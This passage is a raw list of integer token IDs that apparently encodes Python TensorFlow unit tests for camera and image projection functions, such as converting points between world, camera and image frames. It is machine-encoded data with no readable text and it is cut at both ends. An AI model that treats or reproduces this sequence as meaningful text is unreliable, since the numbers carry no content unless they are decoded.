29945, 29945, 29941, 29872, 29899, 29900, 29896, 1402, 13, 4706, 518, 259, 29929, 29889, 29929, 29929, 29929, 29946, 29945, 29946, 29900, 29906, 29872, 29899, 29900, 29896, 29892, 1678, 29896, 29889, 29906, 29946, 29941, 29953, 29945, 29941, 29947, 29906, 29872, 29899, 29900, 29946, 29892, 1678, 29896, 29889, 29900, 29946, 29945, 29896, 29941, 29900, 29906, 29929, 29872, 29899, 29900, 29906, 29962, 13, 1678, 21251, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 13, 1678, 14240, 29918, 11526, 29918, 517, 29918, 26065, 353, 15886, 29889, 23362, 4197, 29900, 29889, 29900, 29945, 29955, 29900, 29945, 29906, 29946, 29945, 29892, 13, 462, 462, 632, 448, 29900, 29889, 29900, 29955, 29945, 29946, 29953, 29953, 29955, 29906, 29892, 13, 462, 462, 632, 448, 29900, 29889, 29906, 29953, 29929, 29941, 29947, 29953, 29929, 29906, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 13, 1678, 534, 29918, 26065, 29918, 517, 29918, 3027, 353, 15886, 29889, 23362, 4197, 13, 4706, 518, 29871, 29955, 29906, 29896, 29889, 29945, 29941, 29955, 29955, 29896, 29929, 29955, 29941, 29892, 268, 29900, 29889, 4706, 1919, 259, 29953, 29900, 29929, 29889, 29945, 29945, 29929, 29941, 29906, 29953, 29896, 29955, 1402, 13, 4706, 518, 1678, 29900, 29889, 4706, 1919, 259, 29955, 29906, 29896, 29889, 29945, 29941, 29955, 29955, 29896, 29929, 29955, 29941, 29892, 259, 29896, 29955, 29906, 29889, 29947, 29945, 29946, 29900, 29900, 29941, 29929, 29896, 1402, 13, 4706, 518, 1678, 29900, 29889, 4706, 1919, 268, 29900, 29889, 4706, 1919, 268, 29896, 29889, 4706, 4514, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 396, 282, 2904, 524, 29901, 9025, 29922, 12313, 29899, 1332, 3246, 3535, 13, 1678, 736, 313, 23361, 29918, 11526, 29918, 517, 29918, 26065, 29892, 13, 9651, 14240, 29918, 11526, 29918, 517, 29918, 26065, 29892, 13, 9651, 534, 29918, 26065, 29918, 517, 29918, 3027, 29897, 13, 13, 29871, 822, 1243, 29918, 517, 29918, 26065, 29918, 2557, 29898, 1311, 1125, 13, 1678, 954, 29918, 9748, 353, 29871, 29896, 29900, 29900, 29900, 13, 1678, 2441, 29918, 29893, 29888, 29918, 9748, 353, 15886, 29889, 8172, 29889, 29590, 3552, 1949, 29918, 9748, 29892, 29871, 29941, 511, 13, 462, 462, 965, 1375, 791, 10457, 29896, 29900, 29889, 29900, 29892, 13, 462, 462, 965, 4236, 791, 29922, 29896, 29900, 29889, 29900, 29897, 13, 1678, 313, 23361, 29918, 11526, 29918, 517, 29918, 26065, 29892, 13, 268, 14240, 29918, 11526, 29918, 517, 29918, 26065, 29892, 13, 268, 24459, 353, 1583, 3032, 657, 29918, 3286, 5404, 29918, 2922, 11669, 580, 13, 1678, 274, 29888, 29918, 9748, 353, 410, 24247, 29889, 517, 29918, 26065, 29918, 2557, 29898, 13492, 29918, 29893, 29888, 29918, 9748, 29892, 13, 462, 462, 9651, 16734, 29918, 11526, 29918, 517, 29918, 26065, 29892, 13, 462, 462, 9651, 14240, 29918, 11526, 29918, 517, 29918, 26065, 29897, 13, 1678, 15712, 29918, 29893, 29888, 29918, 9748, 353, 410, 24247, 29889, 517, 29918, 11526, 29918, 2557, 29898, 6854, 29918, 9748, 29892, 13, 462, 462, 462, 1678, 16734, 29918, 11526, 29918, 517, 29918, 26065, 29892, 13, 462, 462, 462, 1678, 14240, 29918, 11526, 29918, 517, 29918, 26065, 29897, 13, 1678, 1583, 29889, 9294, 3596, 11123, 29898, 13492, 29918, 29893, 29888, 29918, 9748, 29889, 23749, 3285, 15712, 29918, 29893, 29888, 29918, 9748, 29889, 23749, 3101, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13492, 29918, 29893, 29888, 29918, 9748, 29889, 12181, 29892, 313, 1949, 29918, 9748, 29892, 29871, 29941, 876, 13, 1678, 1583, 29889, 9294, 9843, 29898, 6854, 29918, 9748, 29889, 12181, 29892, 313, 1949, 29918, 9748, 29892, 29871, 29941, 876, 13, 1678, 1583, 29889, 9294, 9843, 29898, 12097, 287, 29918, 29893, 29888, 29918, 9748, 29889, 12181, 29892, 313, 1949, 29918, 9748, 29892, 29871, 29941, 876, 13, 13, 29871, 822, 1243, 29918, 517, 29918, 3027, 29918, 2557, 29898, 1311, 1125, 13, 1678, 3171, 353, 29871, 29941, 29955, 29945, 13, 1678, 2920, 353, 29871, 29896, 29906, 29946, 29906, 13, 1678, 274, 29888, 29918, 9748, 353, 15886, 29889, 13441, 29918, 517, 29918, 20158, 4197, 13, 4706, 518, 29900, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 29892, 29871, 29896, 29900, 29889, 29900, 1402, 13, 4706, 518, 29900, 29889, 29900, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29896, 29906, 29889, 29900, 1402, 13, 4706, 518, 29900, 29889, 29900, 29892, 448, 29900, 29889, 29906, 29892, 29871, 29906, 29900, 29889, 29900, 1402, 13, 4706, 518, 29896, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 29892, 29871, 29906, 29900, 29889, 29900, 1402, 13, 4706, 21069, 29896, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 29892, 29871, 29906, 29900, 29889, 29900, 1402, 13, 4706, 518, 29900, 29892, 29871, 29900, 29892, 448, 29896, 29900, 1402, 13, 4706, 21069, 29896, 29892, 29871, 29896, 29892, 448, 29906, 29900, 20526, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 13, 1678, 17117, 17117, 10656, 29918, 262, 509, 1144, 1199, 353, 1583, 3032, 657, 29918, 3286, 5404, 29918, 2922, 11669, 580, 13, 1678, 1967, 29918, 9748, 29892, 2629, 29918, 3027, 353, 410, 24247, 29889, 517, 29918, 3027, 29918, 2557, 29898, 6854, 29918, 9748, 29892, 13, 462, 462, 462, 9651, 3171, 29892, 13, 462, 462, 462, 9651, 2920, 29892, 13, 462, 462, 462, 9651, 10656, 29918, 262, 509, 1144, 1199, 29897, 13, 1678, 7442, 29918, 3027, 29918, 9748, 353, 1967, 29918, 9748, 29889, 23749, 580, 13, 1678, 7442, 29918, 2541, 262, 29918, 3027, 353, 2629, 29918, 3027, 29889, 23749, 580, 13, 1678, 1583, 29889, 9294, 9843, 29898, 9302, 29918, 2541, 262, 29918, 3027, 29889, 2083, 3285, 29871, 29945, 29897, 13, 1678, 1583, 29889, 9294, 5574, 3552, 9302, 29918, 3027, 29918, 9748, 29961, 9302, 29918, 2541, 262, 29918, 3027, 29962, 6736, 29871, 29900, 467, 497, 3101, 13, 1678, 1583, 29889, 9294, 5574, 3552, 9302, 29918, 3027, 29918, 9748, 29961, 9302, 29918, 2541, 262, 29918, 3027, 29892, 29871, 29900, 29962, 529, 2920, 467, 497, 3101, 13, 1678, 1583, 29889, 9294, 5574, 3552, 9302, 29918, 3027, 29918, 9748, 29961, 9302, 29918, 2541, 262, 29918, 3027, 29892, 29871, 29896, 29962, 529, 3171, 467, 497, 3101, 13, 13, 29871, 822, 1243, 29918, 3027, 29918, 2557, 29918, 517, 29918, 26065, 29918, 2557, 29898, 1311, 1125, 13, 1678, 954, 29918, 9748, 353, 29871, 29896, 29900, 13, 1678, 3171, 29892, 2920, 353, 29871, 29946, 29947, 29900, 29892, 29871, 29953, 29946, 29900, 13, 1678, 1967, 29918, 2557, 353, 15886, 29889, 17685, 4197, 13, 4706, 15886, 29889, 8172, 29889, 29590, 29898, 13, 9651, 518, 1949, 29918, 9748, 29892, 29871, 29896, 1402, 1375, 791, 29922, 29900, 29889, 29900, 29892, 4236, 791, 29922, 2103, 29892, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 511, 13, 4706, 15886, 29889, 8172, 29889, 29590, 29898, 13, 9651, 518, 1949, 29918, 9748, 29892, 29871, 29896, 1402, 1375, 791, 29922, 29900, 29889, 29900, 29892, 4236, 791, 29922, 3545, 29892, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 21251, 13, 462, 9651, 9685, 29922, 29896, 29897, 13, 1678, 10656, 29918, 262, 509, 1144, 1199, 353, 15886, 29889, 23362, 29898, 13, 4706, 5519, 29945, 29900, 29900, 29892, 29871, 29900, 1696, 29871, 29941, 29906, 29900, 29889, 1402, 518, 29900, 1696, 29871, 29945, 29900, 29900, 1696, 29871, 29896, 29906, 29900, 29889, 1402, 518, 29900, 1696, 29871, 29900, 1696, 29871, 29896, 5586, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 10656, 29918, 2557, 353, 410, 24247, 29889, 3027, 29918, 2557, 29918, 517, 29918, 26065, 29918, 2557, 29898, 13, 4706, 1967, 29918, 2557, 29922, 3027, 29918, 2557, 29892, 10656, 29918, 262, 509, 1144, 1199, 29922, 26065, 29918, 262, 509, 1144, 1199, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 26065, 29918, 2557, 29889, 12181, 29892, 313, 1949, 29918, 9748, 29892, 29871, 29941, 876, 13, 13, 29871, 822, 903, 1688, 29918, 3258, 29918, 3027, 29918, 3166, 29918, 10003, 29896, 29918, 5975, 29918, 348, 16175, 287, 29898, 1311, 29892, 671, 29918, 29879, 5510, 29918, 20158, 1125, 13, 1678, 1967, 29918, 3545, 29892, 1967, 29918, 2103, 353, 313, 29906, 29946, 29900, 29892, 29871, 29941, 29906, 29900, 29897, 13, 1678, 15473, 353, 15886, 29889, 8172, 29889, 29590, 3552, 29896, 29900, 29892, 511, 1375, 791, 29922, 29900, 29892, 4236, 791, 29922, 3027, 29918, 2103, 29892, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 343, 29891, 353, 15886, 29889, 8172, 29889, 29590, 3552, 29896, 29900, 29892, 511, 1375, 791, 29922, 29900, 29892, 4236, 791, 29922, 3027, 29918, 3545, 29892, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 15526, 29918, 2029, 800, 353, 15886, 29889, 1429, 4197, 8071, 29892, 15473, 1402, 9685, 29922, 29896, 29897, 13, 1678, 15526, 29918, 5975, 353, 15886, 29889, 2873, 3552, 13264, 29889, 12181, 29898, 29886, 15711, 29918, 2029, 800, 9601, 29900, 1402, 511, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 2825, 29918, 3027, 353, 410, 24247, 29889, 3258, 29918, 3027, 29918, 3166, 29918, 3149, 29918, 5975, 29918, 348, 16175, 287, 29898, 13, 4706, 15526, 29918, 2029, 800, 29922, 29886, 15711, 29918, 2029, 800, 29892, 13, 4706, 15526, 29918, 5975, 29922, 29886, 15711, 29918, 5975, 29892, 13, 4706, 1967, 29918, 3545, 29922, 3027, 29918, 3545, 29892, 13, 4706, 1967, 29918, 2103, 29922, 3027, 29918, 2103, 29892, 13, 4706, 2322, 29918, 1767, 29922, 29906, 29945, 29945, 29892, 13, 4706, 671, 29918, 29879, 5510, 29918, 20158, 29922, 1509, 29918, 29879, 5510, 29918, 20158, 29897, 13, 1678, 1583, 29889, 9294, 3596, 11123, 29898, 29886, 15711, 29918, 5975, 29889, 23749, 3285, 7442, 29889, 2873, 3552, 29896, 29900, 29892, 511, 26688, 29922, 9302, 29889, 13470, 29947, 876, 13, 1678, 7442, 29918, 9684, 29918, 3027, 353, 7442, 29889, 8159, 3552, 3027, 29918, 3545, 29892, 1967, 29918, 2103, 29892, 29871, 29896, 511, 29871, 29906, 29945, 29945, 29892, 7442, 29889, 13470, 29947, 29897, 13, 1678, 7442, 29918, 8071, 353, 15526, 29918, 2029, 800, 29889, 23749, 580, 7503, 29892, 29871, 29900, 29962, 13, 1678, 7442, 29918, 4419, 353, 15526, 29918, 2029, 800, 29889, 23749, 580, 7503, 29892, 29871, 29896, 29962, 13, 1678, 7442, 29918, 9684, 29918, 3027, 29961, 9302, 29918, 8071, 29892, 7442, 29918, 4419, 29892, 26656, 567, 275, 29962, 353, 518, 29896, 29962, 13, 1678, 1583, 29889, 9294, 3596, 11123, 29898, 11600, 29918, 3027, 29889, 23749, 3285, 7442, 29918, 9684, 29918, 3027, 29897, 13, 13, 29871, 822, 903, 1688, 29918, 3258, 29918, 3027, 29918, 3166, 29918, 10003, 29896, 29918, 5975, 29898, 1311, 29892, 671, 29918, 29879, 5510, 29918, 20158, 1125, 13, 1678, 1967, 29918, 3545, 29892, 1967, 29918, 2103, 353, 313, 29906, 29946, 29900, 29892, 29871, 29941, 29906, 29900, 29897, 13, 1678, 15473, 353, 15886, 29889, 8172, 29889, 29590, 3552, 29946, 29892, 29871, 29896, 29900, 511, 13, 462, 965, 1375, 791, 29922, 29900, 29892, 13, 462, 965, 4236, 791, 29922, 3027, 29918, 2103, 29892, 13, 462, 965, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 343, 29891, 353, 15886, 29889, 8172, 29889, 29590, 3552, 29946, 29892, 29871, 29896, 29900, 511, 13, 462, 965, 1375, 791, 29922, 29900, 29892, 13, 462, 965, 4236, 791, 29922, 3027, 29918, 3545, 29892, 13, 462, 965, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 15526, 29918, 2029, 800, 353, 15886, 29889, 1429, 4197, 8071, 29892, 15473, 1402, 9685, 29922, 29906, 29897, 13, 1678, 15526, 29918, 5975, 353, 15886, 29889, 8172, 29889, 29590, 4197, 29946, 29892, 29871, 29896, 29900, 29892, 29871, 29941, 1402, 13, 462, 462, 268, 1375, 791, 10457, 29906, 29889, 29900, 29892, 13, 462, 462, 268, 4236, 791, 29922, 29906, 29889, 29900, 29892, 13, 462, 462, 268, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 954, 29918, 3084, 29918, 9748, 353, 15886, 29889, 23362, 4197, 29896, 29900, 29892, 29871, 29941, 29892, 29871, 29945, 29892, 29871, 29955, 1402, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 2825, 29918, 3027, 353, 410, 24247, 29889, 3258, 29918, 3027, 29918, 3166, 29918, 3149, 29918, 5975, 29898, 13, 4706, 15526, 29918, 2029, 800, 29922, 29886, 15711, 29918, 2029, 800, 29892, 13, 4706, 15526, 29918, 5975, 29922, 29886, 15711, 29918, 5975, 29892, 13, 4706, 954, 29918, 3084, 29918, 9748, 29922, 1949, 29918, 3084, 29918, 9748, 29892, 13, 4706, 1967, 29918, 3545, 29922, 3027, 29918, 3545, 29892, 13, 4706, 1967, 29918, 2103, 29922, 3027, 29918, 2103, 29892, 13, 4706, 2322, 29918, 1767, 29922, 29906, 29945, 29945, 29889, 29900, 29892, 13, 4706, 671, 29918, 29879, 5510, 29918, 20158, 29922, 1509, 29918, 29879, 5510, 29918, 20158, 29897, 13, 1678, 1583, 29889, 9294, 3596, 9843, 29898, 11600, 29918, 3027, 29889, 12181, 29892, 7442, 29889, 2378, 4197, 29946, 29892, 29871, 29906, 29946, 29900, 29892, 29871, 29941, 29906, 29900, 29892, 29871, 29941, 12622, 13, 13, 29871, 822, 903, 1688, 29918, 3258, 29918, 3027, 29918, 3166, 29918, 10003, 29906, 29918, 5975, 29918, 348, 16175, 287, 29898, 1311, 29892, 671, 29918, 29879, 5510, 29918, 20158, 1125, 13, 1678, 1967, 29918, 3545, 29892, 1967, 29918, 2103, 353, 313, 29906, 29946, 29900, 29892, 29871, 29941, 29906, 29900, 29897, 13, 1678, 15473, 353, 15886, 29889, 8172, 29889, 29590, 3552, 29896, 29900, 29892, 511, 1375, 791, 29922, 29900, 29892, 4236, 791, 29922, 3027, 29918, 2103, 29892, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 343, 29891, 353, 15886, 29889, 8172, 29889, 29590, 3552, 29896, 29900, 29892, 511, 1375, 791, 29922, 29900, 29892, 4236, 791, 29922, 3027, 29918, 3545, 29892, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 15526, 29918, 2029, 800, 353, 15886, 29889, 1429, 4197, 8071, 29892, 15473, 1402, 9685, 29922, 29896, 29897, 13, 1678, 15526, 29918, 5975, 353, 15886, 29889, 8172, 29889, 29590, 3552, 29896, 29900, 29892, 29871, 29941, 511, 13, 462, 462, 268, 1375, 791, 29922, 29900, 29892, 13, 462, 462, 268, 4236, 791, 29922, 29906, 29945, 29945, 29892, 13, 462, 462, 268, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 2825, 29918, 3027, 353, 410, 24247, 29889, 3258, 29918, 3027, 29918, 3166, 29918, 3149, 29918, 5975, 29918, 348, 16175, 287, 29898, 13, 4706, 15526, 29918, 2029, 800, 29922, 29886, 15711, 29918, 2029, 800, 29892, 13, 4706, 15526, 29918, 5975, 29922, 29886, 15711, 29918, 5975, 29892, 13, 4706, 1967, 29918, 3545, 29922, 3027, 29918, 3545, 29892, 13, 4706, 1967, 29918, 2103, 29922, 3027, 29918, 2103, 29892, 13, 4706, 2322, 29918, 1767, 29922, 29900, 29892, 13, 4706, 671, 29918, 29879, 5510, 29918, 20158, 29922, 1509, 29918, 29879, 5510, 29918, 20158, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 11600, 29918, 3027, 29889, 12181, 29892, 313, 3027, 29918, 3545, 29892, 1967, 29918, 2103, 29892, 29871, 29941, 876, 13, 1678, 7442, 29918, 29886, 15711, 29918, 2029, 800, 353, 15526, 29918, 2029, 800, 29889, 23749, 2141, 14486, 2141, 579, 668, 29898, 9302, 29889, 524, 29941, 29906, 29897, 13, 1678, 7442, 29918, 8071, 353, 7442, 29918, 29886, 15711, 29918, 2029, 800, 7503, 29892, 29871, 29900, 29962, 13, 1678, 7442, 29918, 4419, 353, 7442, 29918, 29886, 15711, 29918, 2029, 800, 7503, 29892, 29871, 29896, 29962, 13, 1678, 1583, 29889, 9294, 3596, 11123, 29898, 13, 4706, 2825, 29918, 3027, 29889, 23749, 580, 29961, 9302, 29918, 8071, 29892, 7442, 29918, 4419, 1402, 15526, 29918, 5975, 29889, 23749, 3285, 472, 324, 29922, 29896, 29872, 29899, 29941, 29897, 13, 13, 29871, 822, 1243, 29918, 3258, 29918, 3027, 29918, 10003, 29896, 29918, 348, 16175, 287, 29918, 29879, 5510, 29898, 1311, 1125, 13, 1678, 1583, 3032, 1688, 29918, 3258, 29918, 3027, 29918, 3166, 29918, 10003, 29896, 29918, 5975, 29918, 348, 16175, 287, 29898, 1509, 29918, 29879, 5510, 29918, 20158, 29922, 5574, 29897, 13, 13, 29871, 822, 1243, 29918, 3258, 29918, 3027, 29918, 10003, 29896, 29918, 348, 16175, 287, 29918, 1557, 2620, 29898, 1311, 1125, 13, 1678, 1583, 3032, 1688, 29918, 3258, 29918, 3027, 29918, 3166, 29918, 10003, 29896, 29918, 5975, 29918, 348, 16175, 287, 29898, 1509, 29918, 29879, 5510, 29918, 20158, 29922, 8824, 29897, 13, 13, 29871, 822, 1243, 29918, 3258, 29918, 3027, 29918, 10003, 29896, 29918, 29879, 5510, 29898, 1311, 1125, 13, 1678, 1583, 3032, 1688, 29918, 3258, 29918, 3027, 29918, 3166, 29918, 10003, 29896, 29918, 5975, 29898, 1509, 29918, 29879, 5510, 29918, 20158, 29922, 5574, 29897, 13, 13, 29871, 822, 1243, 29918, 3258, 29918, 3027, 29918, 10003, 29896, 29918, 1557, 2620, 29898, 1311, 1125, 13, 1678, 1583, 3032, 1688, 29918, 3258, 29918, 3027, 29918, 3166, 29918, 10003, 29896, 29918, 5975, 29898, 1509, 29918, 29879, 5510, 29918, 20158, 29922, 8824, 29897, 13, 13, 29871, 822, 1243, 29918, 3258, 29918, 3027, 29918, 10003, 29906, 29918, 348, 16175, 287, 29918, 29879, 5510, 29898, 1311, 1125, 13, 1678, 1583, 3032, 1688, 29918, 3258, 29918, 3027, 29918, 3166, 29918, 10003, 29906, 29918, 5975, 29918, 348, 16175, 287, 29898, 1509, 29918, 29879, 5510, 29918, 20158, 29922, 5574, 29897, 13, 13, 29871, 822, 1243, 29918, 3258, 29918, 3027, 29918, 10003, 29906, 29918, 348, 16175, 287, 29918, 1557, 2620, 29898, 1311, 1125, 13, 1678, 1583, 3032, 1688, 29918, 3258, 29918, 3027, 29918, 3166, 29918, 10003, 29906, 29918, 5975, 29918, 348, 16175, 287, 29898, 1509, 29918, 29879, 5510, 29918, 20158, 29922, 8824, 29897, 13, 13, 29871, 822, 903, 1688, 29918, 11631, 29918, 3027, 29918, 5975, 29918, 517, 29918, 9748, 29898, 1311, 29892, 671, 29918, 29879, 5510, 29918, 20158, 1125, 13, 1678, 1967, 29918, 5975, 353, 15886, 29889, 23362, 29898, 13, 4706, 5519, 29961, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 1402, 518, 29941, 29889, 29900, 29892, 29871, 29946, 29889, 29900, 20526, 5519, 29945, 29889, 29900, 29892, 29871, 29953, 29889, 29900, 1402, 518, 29955, 29889, 29900, 29892, 29871, 29947, 29889, 29900, 20526, 13, 308, 5519, 29929, 29889, 29900, 29892, 29871, 29896, 29900, 29889, 29900, 1402, 518, 29896, 29896, 29889, 29900, 29892, 29871, 29896, 29906, 29889, 29900, 5262, 1402, 13, 4706, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 1967, 29918, 3149, 29918, 513, 1575, 353, 15886, 29889, 23362, 4197, 8999, 29896, 1402, 21069, 29896, 20526, 5519, 29953, 1402, 21069, 29896, 20526, 5519, 29900, 1402, 518, 29941, 5262, 1402, 13, 462, 462, 418, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 954, 29918, 9748, 353, 29871, 29896, 29900, 13, 1678, 1298, 29918, 5975, 353, 410, 24247, 29889, 11631, 29918, 3027, 29918, 5975, 29918, 517, 29918, 9748, 29898, 13, 4706, 1967, 29918, 5975, 29922, 3027, 29918, 5975, 29892, 13, 4706, 1967, 29918, 3149, 29918, 513, 1575, 29922, 3027, 29918, 3149, 29918, 513, 1575, 29892, 13, 4706, 954, 29918, 9748, 29922, 1949, 29918, 9748, 29892, 13, 4706, 2322, 29918, 1767, 10457, 29896, 29889, 29900, 29892, 13, 4706, 671, 29918, 29879, 5510, 29918, 20158, 29922, 1509, 29918, 29879, 5510, 29918, 20158, 29897, 13, 1678, 3806, 29918, 3149, 29918, 5975, 353, 15886, 29889, 23362, 29898, 13, 4706, 5519, 29929, 29889, 29900, 29892, 29871, 29896, 29900, 29889, 29900, 1402, 13, 308, 518, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 1402, 13, 308, 21069, 29896, 29889, 29900, 29892, 448, 29896, 29889, 29900, 1402, 13, 308, 518, 29896, 29896, 29889, 29900, 29892, 29871, 29896, 29906, 29889, 29900, 1402, 13, 308, 21069, 29896, 29889, 29900, 29892, 448, 29896, 29889, 29900, 1402, 13, 308, 21069, 29896, 29889, 29900, 29892, 448, 29896, 29889, 29900, 1402, 13, 308, 518, 29945, 29889, 29900, 29892, 29871, 29953, 29889, 29900, 1402, 13, 308, 21069, 29896, 29889, 29900, 29892, 448, 29896, 29889, 29900, 1402, 13, 308, 21069, 29896, 29889, 29900, 29892, 448, 29896, 29889, 29900, 1402, 13, 308, 21069, 29896, 29889, 29900, 29892, 448, 29896, 29889, 29900, 20526, 13, 4706, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 1583, 29889, 9294, 3596, 11123, 29898, 3149, 29918, 5975, 29889, 23749, 3285, 3806, 29918, 3149, 29918, 5975, 29889, 23749, 3101, 13, 13, 29871, 822, 1243, 29918, 11631, 29918, 3027, 29918, 5975, 29918, 517, 29918, 9748, 29918, 29879, 5510, 29898, 1311, 1125, 13, 1678, 1583, 3032, 1688, 29918, 11631, 29918, 3027, 29918, 5975, 29918, 517, 29918, 9748, 29898, 1509, 29918, 29879, 5510, 29918, 20158, 29922, 5574, 29897, 13, 13, 29871, 822, 1243, 29918, 11631, 29918, 3027, 29918, 5975, 29918, 517, 29918, 9748, 29918, 1557, 2620, 29898, 1311, 1125, 13, 1678, 1583, 3032, 1688, 29918, 11631, 29918, 3027, 29918, 5975, 29918, 517, 29918, 9748, 29898, 1509, 29918, 29879, 5510, 29918, 20158, 29922, 8824, 29897, 13, 13, 29871, 822, 1243, 29918, 5504, 29918, 29886, 15711, 29918, 2029, 800, 29918, 29887, 5428, 29918, 311, 15628, 29918, 4467, 29882, 7720, 29898, 1311, 1125, 13, 1678, 15526, 29918, 2029, 800, 353, 15886, 29889, 23362, 4197, 29961, 29900, 29892, 29871, 29896, 1402, 13, 462, 462, 259, 518, 29896, 29892, 29871, 29896, 1402, 13, 462, 462, 259, 518, 29906, 29892, 29871, 29900, 1402, 13, 462, 462, 259, 518, 29906, 29892, 29871, 29906, 1402, 13, 462, 462, 259, 518, 29900, 29892, 29871, 29906, 1402, 13, 462, 462, 259, 518, 29900, 29892, 29871, 29896, 1402, 13, 462, 462, 259, 518, 29896, 29892, 29871, 29896, 1402, 13, 462, 462, 259, 518, 29941, 29892, 29871, 29941, 20526, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 27716, 7720, 29918, 29891, 353, 15886, 29889, 23362, 4197, 29961, 29896, 29892, 29871, 29896, 29892, 29871, 29896, 29892, 29871, 29896, 29892, 29871, 29896, 1402, 13, 462, 795, 518, 29906, 29892, 29871, 29906, 29892, 29871, 29906, 29892, 29871, 29906, 29892, 29871, 29906, 1402, 13, 462, 795, 518, 29941, 29892, 29871, 29941, 29892, 29871, 29941, 29892, 29871, 29941, 29892, 29871, 29941, 1402, 13, 462, 795, 518, 29946, 29892, 29871, 29946, 29892, 29871, 29946, 29892, 29871, 29946, 29892, 29871, 29946, 24960, 13, 1678, 27716, 7720, 29918, 29916, 353, 15886, 29889, 23362, 4197, 29961, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 29871, 29946, 29892, 29871, 29945, 1402, 13, 462, 795, 518, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 29871, 29946, 29892, 29871, 29945, 1402, 13, 462, 795, 518, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 29871, 29946, 29892, 29871, 29945, 1402, 13, 462, 795, 518, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 29871, 29946, 29892, 29871, 29945, 24960, 13, 1678, 27716, 7720, 29918, 29891, 29916, 353, 15886, 29889, 1429, 4197, 4467, 29882, 7720, 29918, 29891, 29892, 27716, 7720, 29918, 29916, 1402, 9685, 29922, 29906, 29897, 13, 1678, 316, 15628, 29918, 4467, 29882, 7720, 29918, 29891, 353, 15886, 29889, 23362, 4197, 14352, 29896, 29892, 29871, 29941, 29892, 29871, 29906, 29892, 29871, 29906, 1402, 13, 462, 462, 539, 21069, 29896, 29892, 448, 29896, 29892, 29871, 29941, 29892, 29871, 29906, 1402, 13, 462, 462, 539, 518, 29896, 29892, 448, 29896, 29892, 29871, 29906, 29892, 448, 29896, 24960, 13, 1678, 316, 15628, 29918, 4467, 29882, 7720, 29918, 29916, 353, 15886, 29889, 23362, 4197, 29961, 29906, 29892, 448, 29906, 29892, 29871, 29906, 29892, 448, 29896, 1402, 13, 462, 462, 539, 21069, 29896, 29892, 29871, 29941, 29892, 29871, 29906, 29892, 29871, 29941, 1402, 13, 462, 462, 539, 518, 29906, 29892, 448, 29896, 29892, 29871, 29941, 29892, 448, 29896, 24960, 13, 1678, 316, 15628, 29918, 4467, 29882, 7720, 29918, 29891, 29916, 353, 15886, 29889, 1429, 4197, 311, 15628, 29918, 4467, 29882, 7720, 29918, 29891, 29892, 316, 15628, 29918, 4467, 29882, 7720, 29918, 29916, 1402, 13, 462, 462, 1678, 9685, 29922, 29906, 29897, 13, 1678, 4784, 29918, 29886, 15711, 29918, 2029, 800, 353, 313, 13, 4706, 410, 24247, 29889, 5504, 29918, 29886, 15711, 29918, 2029, 800, 29918, 29887, 5428, 29918, 311, 15628, 29918, 4467, 29882, 7720, 29898, 13, 9651, 15526, 29918, 2029, 800, 29922, 29886, 15711, 29918, 2029, 800, 29892, 13, 9651, 2441, 29918, 4467, 29882, 7720, 29922, 4467, 29882, 7720, 29918, 29891, 29916, 29892, 13, 9651, 316, 15628, 29918, 4467, 29882, 7720, 29922, 311, 15628, 29918, 4467, 29882, 7720, 29918, 29891, 29916, 876, 13, 1678, 3806, 29918, 21402, 29918, 29886, 15711, 29918, 2029, 800, 353, 15886, 29889, 23362, 4197, 29961, 29906, 29892, 29871, 29900, 1402, 13, 462, 462, 462, 1678, 518, 29900, 29892, 29871, 29906, 1402, 13, 462, 462, 462, 1678, 21069, 29896, 29892, 448, 29896, 1402, 13, 462, 462, 462, 1678, 21069, 29896, 29892, 448, 29896, 1402, 13, 462, 462, 462, 1678, 21069, 29896, 29892, 448, 29896, 1402, 13, 462, 462, 462, 1678, 518, 29906, 29892, 29871, 29900, 1402, 13, 462, 462, 462, 1678, 518, 29900, 29892, 29871, 29906, 1402, 13, 462, 462, 462, 1678, 21069, 29896, 29892, 448, 29896, 20526, 26688, 29922, 13264, 29889, 524, 29941, 29906, 29897, 13, 1678, 1583, 29889, 9294, 3596, 9843, 29898, 21402, 29918, 29886, 15711, 29918, 2029, 800, 29889, 23749, 3285, 13, 462, 4706, 3806, 29918, 21402, 29918, 29886, 15711, 29918, 2029, 800, 29889, 23749, 3101, 13, 13, 29871, 822, 1243, 29918, 4836, 29918, 9748, 29918, 2541, 29918, 19488, 29918, 28814, 29918, 3198, 29898, 1311, 1125, 13, 1678, 1298, 29918, 1066, 